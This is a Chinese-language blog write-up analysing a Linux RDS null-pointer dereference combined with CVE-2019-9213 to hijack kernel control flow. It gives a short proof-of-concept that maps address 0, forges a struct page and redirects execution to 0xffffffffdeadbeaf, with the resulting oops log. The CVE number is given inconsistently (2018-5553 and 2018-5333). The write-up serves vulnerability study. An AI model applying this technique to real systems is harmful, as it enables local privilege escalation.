0x00分析:
关于CVE-2019-9213前面一篇文章已经介绍的非常详细了,有了写地址0的机会,现在就需要一个null pointer dereference的洞,并且能够通过这个洞劫持程序流。引入今天的主角-- CVE-2018-5553,这是一个关于rds的洞,来看看是如何触发null pointer dereference的。
1 | static int rds_cmsg_send(struct rds_sock *rs, struct rds_message *rm, |
rds_cmsg_send
是通过系统调用sendmsg
来触发,socket类型设置为pf_rds
。接着看rds_cmsg_atomic
分支。
这个地方需要先稍微了解一下sendmsg
这个系统调用。 1
sendmsg(int socket, const struct msghdr *message, int flags);
struct msghdr
结构如下: 1
2
3
4
5
6
7
8
9struct msghdr {
void *msg_name; /* ptr to socket address structure */
int msg_namelen; /* size of socket address structure */
struct iov_iter msg_iter; /* data */
void *msg_control; /* ancillary data */
__kernel_size_t msg_controllen; /* ancillary data buffer length */
unsigned int msg_flags; /* flags on received message */
struct kiocb *msg_iocb; /* ptr to iocb for async requests */
};struct cmsghdr
1
2
3
4
5struct cmsghdr {
__kernel_size_t cmsg_len; /* data byte count, including hdr */
int cmsg_level; /* originating protocol */
int cmsg_type; /* protocol-specific type */
};unsigned char cmsg_data[]
用来保存传递的数据,供特定的协议使用。
1 | int rds_cmsg_atomic(struct rds_sock *rs, struct rds_message *rm, |
回到rds的处理之中,rds_cmsg_atomic
中cmsg
便来自于上面用户传递的结构。其中args
也是指向cmsg
中的data部分。
上面的整个过程就是设置atomic
类型请求的rds_message
结构,有两个点在这里需要注意: 1
2
3rm->atomic.op_active = 1; //标志已经初始化,可用状态。
...
rm->atomic.op_sg = rds_message_alloc_sgs(rm, 1, &ret);scatterlist
物理内存的散列表,主要是供DMA使用。关于这一点在分配rds_message
这个结构的时候也可以注意到: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17struct rds_message *rds_message_alloc(unsigned int extra_len, gfp_t gfp)
{
struct rds_message *rm;
if (extra_len > KMALLOC_MAX_SIZE - sizeof(struct rds_message))
return NULL;
rm = kzalloc(sizeof(struct rds_message) + extra_len, gfp);
if (!rm)
goto out;
rm->m_used_sgs = 0;
rm->m_total_sgs = extra_len / sizeof(struct scatterlist);
...
out:
return rm;
}1
2
3
4
5
6
7
8
9
10
11
12
13
14static int rds_rm_size(struct msghdr *msg, int num_sgs,
struct rds_iov_vector_arr *vct)
{
...
switch (cmsg->cmsg_type) {
case RDS_CMSG_ATOMIC_CSWP:
case RDS_CMSG_ATOMIC_FADD:
case RDS_CMSG_MASKED_ATOMIC_CSWP:
case RDS_CMSG_MASKED_ATOMIC_FADD:
cmsg_groups |= 1;
size += sizeof(struct scatterlist);
break;
...
size += num_sgs * sizeof(struct scatterlist);rds_message_alloc_sgs
这一步就是获取rds_message
后面的scatterlist
,显然这些scatterlists都是初始化状态,并未分配真正的page,回到原先的rds_cmsg_atomic
: 1
2
3
4
5
6
7
8
9
10
11if (args->local_addr & 0x7) {
ret = -EFAULT;
goto err;
}
ret = rds_pin_pages(args->local_addr, 1, &page, 1);
if (ret != 1)
goto err;
ret = 0;
sg_set_page(rm->atomic.op_sg, page, 8, offset_in_page(args->local_addr));args->local_addr
地址对齐,然后使用rds_pin_pages
获取用户page,再把scatterlist设置为这个page。上面有两个地方有错误处理: 1
2
3
4
5err:
if (page)
put_page(page);
kfree(rm->atomic.op_notifier);
return ret;rm->atomic.op_notifier
,整个rds_sendmsg也宣告结束,之后会释放掉rds_message这个结构。 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15static void rds_message_purge(struct rds_message *rm)
{
unsigned long i, flags;
bool zcopy = false;
...
if (rm->rdma.op_active)
rds_rdma_free_op(&rm->rdma);
if (rm->rdma.op_rdma_mr)
rds_mr_put(rm->rdma.op_rdma_mr);
if (rm->atomic.op_active)
rds_atomic_free_op(&rm->atomic);
if (rm->atomic.op_rdma_mr)
rds_mr_put(rm->atomic.op_rdma_mr);
}rm->atomic.op_active=0
,所以这里会进入rds_atomic_free_op
: 1
2
3
4
5
6
7
8
9
10
11
12
13
14void rds_atomic_free_op(struct rm_atomic_op *ao)
{
struct page *page = sg_page(ao->op_sg);
/* Mark page dirty if it was possibly modified, which
* is the case for a RDMA_READ which copies from remote
* to local memory */
set_page_dirty(page);
put_page(page);
kfree(ao->op_notifier);
ao->op_notifier = NULL;
ao->op_active = 0;
}scatterlist
的page,再细看是怎么拿到page的: 1
2
3
4static inline struct page *sg_page(struct scatterlist *sg)
{
return (struct page *)((sg)->page_link & ~(SG_CHAIN | SG_END));
}rm->atomic.op_active=0
,就可以避免这个问题。
0X02利用
现在两个漏洞都有了,结合起来怎么用呢? 理论上我们这里是可以伪造一个page结构,第一想法,看page结构上是否有函数指针调用的过程。但是还是得顺着开始的流程来看: 1
2
3
4
5
6
7
8
9
10
11
12
13
14void rds_atomic_free_op(struct rm_atomic_op *ao)
{
struct page *page = sg_page(ao->op_sg);
/* Mark page dirty if it was possibly modified, which
* is the case for a RDMA_READ which copies from remote
* to local memory */
set_page_dirty(page);
put_page(page);
kfree(ao->op_notifier);
ao->op_notifier = NULL;
ao->op_active = 0;
}set_page_dirty
处理过程: 1
2
3
4
5
6
7
8
9
10
11int set_page_dirty(struct page *page)
{
struct address_space *mapping = page_mapping(page);
page = compound_head(page);
if (likely(mapping)) {
int (*spd)(struct page *) = mapping->a_ops->set_page_dirty;
...
return (*spd)(page);
}
}1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23struct address_space *page_mapping(struct page *page)
{
struct address_space *mapping;
page = compound_head(page);
/* This happens if someone calls flush_dcache_page on slab page */
if (unlikely(PageSlab(page)))
return NULL;
if (unlikely(PageSwapCache(page))) {
swp_entry_t entry;
entry.val = page_private(page);
return swap_address_space(entry);
}
mapping = page->mapping;
if ((unsigned long)mapping & PAGE_MAPPING_ANON)
return NULL;
return (void *)((unsigned long)mapping & ~PAGE_MAPPING_FLAGS);
}1
2
3
4
5
6
7
8
9page = compound_head(page);
static inline struct page *compound_head(struct page *page)
{
unsigned long head = READ_ONCE(page->compound_head);
if (unlikely(head & 1))
return (struct page *) (head - 1);
return page;
}page->compound_head
改变page的指向,可能有用。 第二点是要避免进入下面逻辑: 1
2
3
4
5
6if (unlikely(PageSwapCache(page))) {
swp_entry_t entry;
entry.val = page_private(page);
return swap_address_space(entry);
}page->flags
bit位来判断,所以这里只需要把page->flags
置零就行。最后经过下面的对齐返回mapping: 1
2
3
4
5mapping = page->mapping;
if ((unsigned long)mapping & PAGE_MAPPING_ANON)
return NULL;
return (void *)((unsigned long)mapping & ~PAGE_MAPPING_FLAGS);mapping->a_ops->set_page_dirty
,这里有一个技巧,要充分利用0地址,避免再去重新申请内存。这里a_ops
可以设置为0,mapping不能设置为0,这里有一个冲突,需要解决,当page设置成0不变的时候,a_ops也为0的时候: 1
2page->mapping == ((char *)page)+0x18
a_pos->set_page_dirty == ((char *)a_pos)+0x18compound_head(head)
,改变一下page,把paga指到其他用户空间上,例如栈上: 1
2
3
4
5
6
7
8char str[1000];
map_null_address();
unsigned long *data = (unsigned long *)0;
memset(str,0,1000);
*((unsigned long *)(str+0x18)) = str;
data[1] = str+1;
data[3] = 0xffffffffdeadbeaf;
trigger_null_pointer_ref();1
2
3
4
5
6
7
8
9
10
11
12
13
14[ 2515.888056] BUG: unable to handle kernel paging request at ffffffffdeadbeaf
[ 2515.888056] PGD 200e067 P4D 200e067 PUD 2010067 PMD 0
[ 2515.888056] Oops: 0010 [#3] SMP PTI
[ 2515.888056] CPU: 0 PID: 113 Comm: test Tainted: G D 4.20.0+ #1
[ 2515.888056] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014
[ 2515.888056] RIP: 0010:0xffffffffdeadbeaf
[ 2515.888056] Code: Bad RIP value.
[ 2515.888056] RSP: 0018:ffffc90000173b98 EFLAGS: 00000286
[ 2515.888056] RAX: ffffffffdeadbeaf RBX: ffff888005a2d928 RCX: 0000000000000000
[ 2515.888056] RDX: ffffffff8129b340 RSI: 0000000000000246 RDI: 00007ffce69d17f0
[ 2515.888056] RBP: 0000000000000000 R08: 0000000000000001 R09: 00000007ffca66b2
[ 2515.888056] R10: 0000000000000000 R11: 0000000000000001 R12: 0000000000000000
[ 2515.888056] R13: 0000000000000246 R14: ffff888005a2d8e8 R15: 0000000000000000
[ 2515.888056] FS: 00000000019b3880(0000) GS:ffff888007200000(0000) knlGS:0000000000000000
0X03思考
最开始我拉的是patch CVE-2018-5333之前最后一次commit,但是编译起来错误很多,尽管最后我手动patch了很多处,终于编译成功了。但是qemu还是运行不起来,果断放弃了,还是选择了patch CVE-2019-9213之前最后一次commit,然后手动删掉了关于CVE-2018-5333的patch,还有这里编译之前记得开RDS的配置。
相对来说这里是比较简单劫持流,这是我没有预想到的。有了CVE-2019-9213很多其他的漏洞就变成了可能,下一次我想分析一个复杂一点伪造相关结构劫持程序流的洞,最后还是觉得是比较有趣的一次经历!